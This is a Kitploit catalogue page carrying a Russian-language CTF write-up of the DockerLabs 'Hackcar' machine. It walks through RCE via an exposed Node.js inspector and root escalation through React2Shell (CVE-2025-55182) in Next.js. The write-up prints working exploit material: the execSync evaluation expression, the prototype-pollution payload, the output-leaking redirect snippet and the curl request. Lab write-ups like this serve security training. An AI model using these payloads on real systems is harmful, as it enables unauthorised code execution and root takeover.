Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
hackcar-writeup — Разбор: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
Инструменты/GitHubGitHub/iapetus12/hackcar-writeup
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияCTFТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЛаборатории и ПрактикаArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

Разбор: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

13 ч 16 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Hackcar - Writeup

Платформа: DockerLabs Сложность: Средняя (более-менее, есть свои заморочки) Цель: От webuser до root, ломая Next.js


Начало: разведка

Как всегда, сначала главное: посмотреть, что у нас перед носом.

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

Погоди... 9229? Этот порт необычный. И полное сканирование подтверждает, что есть только два порта:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

9229 — это типичный порт Node.js inspector (debugger). Если он открыт без защиты, это по сути открытая дверь к выполнению кода. Давай проверим.

root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

Чёрт. Debugger Node открыт, без аутентификации, и вдобавок сообщает нам, где живёт приложение. Это прямой RCE.


Фаза 1: RCE через Node.js Inspector

С открытым debugger нам нужно только подключиться к WebSocket и использовать Runtime.evaluate, чтобы выполнить что угодно внутри процесса Node.

Я набросал быстрый скрипт на Python, который вытаскивает URL debugger и выполняет команды через process.mainModule.require('child_process').execSync():

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

Чтобы не воевать с кавычками, всю команду я отправляю в base64 и декодирую внутри самого процесса. Первый тест:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

RCE как webuser. Машина у нас в руках... или я так думал. Оказалось, что самое интересное было спрятано глубже.

Посмотрим на процессы, чтобы увидеть, что ещё крутится на машине:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

Обрати внимание! Есть Next.js версии 15.0.0-rc.1, работающий как ROOT на порту 3000 (только localhost). Это пахнет привилегией... и CVE.

Поскольку он слушает только 127.0.0.1 внутри контейнера, снаружи мы до него не дотянемся. Но у нас есть RCE, так что можем зайти изнутри. Сначала посмотрим, что это:

root@kitploit:~
curl -s http://127.0.0.1:3000/

Появляется "Internal Administration Portal" — внутренний портал администрирования. Всё очень аппетитно.

Флаг user мы нашли быстро:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

А теперь нужно подняться до root через этот Next.js.


Фаза 2: React2Shell (CVE-2025-55182)

Версия — Next.js 15.0.0-rc.1, которая использует React 19, уязвимый к знаменитому React2Shell (CVE-2025-55182): критический RCE (CVSS 10.0) через prototype pollution в парсере RSC (React Server Components / Flight protocol).

Эксплойт — это неправильно сформированный multipart/form-data с заголовком Next-Action, который заставляет парсер React десериализовать отравленный объект, в итоге вызывающий конструктор Function с нашим кодом:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<CÓDIGO JS A EJECUTAR>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

То есть: отравляется Chunk.prototype.then, парсер загружает нашу модель, и при разрешении промиса выполняется наш JavaScript в процессе Next.js, который работает как root.

Чтобы вытащить вывод, я использовал режим "redirect": код выполняет команду, делает base64 результата и кладёт его в свойство digest объекта Error, который Next.js возвращает как заголовок:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

Финальный запрос:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

Сервер отвечает 500 (это нормально, это намеренная ошибка) и в заголовке:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

Декодируем:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

МЫ ROOT. И флаг:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

Сводка атаки

root@kitploit:~
nmap
 └─ 8080 (web Express, статика, чистый дым)
 └─ 9229 (Node.js inspector ОТКРЫТ)
      └─ RCE как webuser через Runtime.evaluate
           └─ Перечисление: Next.js 15.0.0-rc.1 на 127.0.0.1:3000 как ROOT
                └─ CVE-2025-55182 (React2Shell): RCE root
                     └─ флаг: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Флаги:

ФайлФлаг
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

Уязвимости (почему это произошло)

#УязвимостьCWEЧто нам дала
1Node.js inspector без аутентификации (порт 9229)CWE-284RCE как webuser
2Устаревший Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502RCE как root

Уроки:

  • Никогда не выставляй debugger Node в продакшене (даже в "внутренней" сети).
  • Обновляй свои зависимости. У этого Next.js уже месяцы известная критическая CVE.
  • Не привязывай сервисы только к localhost, если процесс уже скомпрометирован: webuser мог дотянуться до localhost:3000.
  • DockerLabs всегда для обучения, а не для того, чтобы запутаться в реальных средах ;)

Инструменты

ИнструментИспользование
nmapРазведка портов
curlВеб-перечисление и запуск эксплойта
websocket-client (Python)Общение с inspector Node
jadxПредыдущая машина (не здесь, но мне всё ещё кажется это красивым)
base64Транспортировка payload'ов без проблем с кавычками

Writeup в образовательных целях. Трогай только те машины, на которые у тебя есть разрешение (DockerLabs, HTB, твоя собственная лаборатория).

Скачать инструмент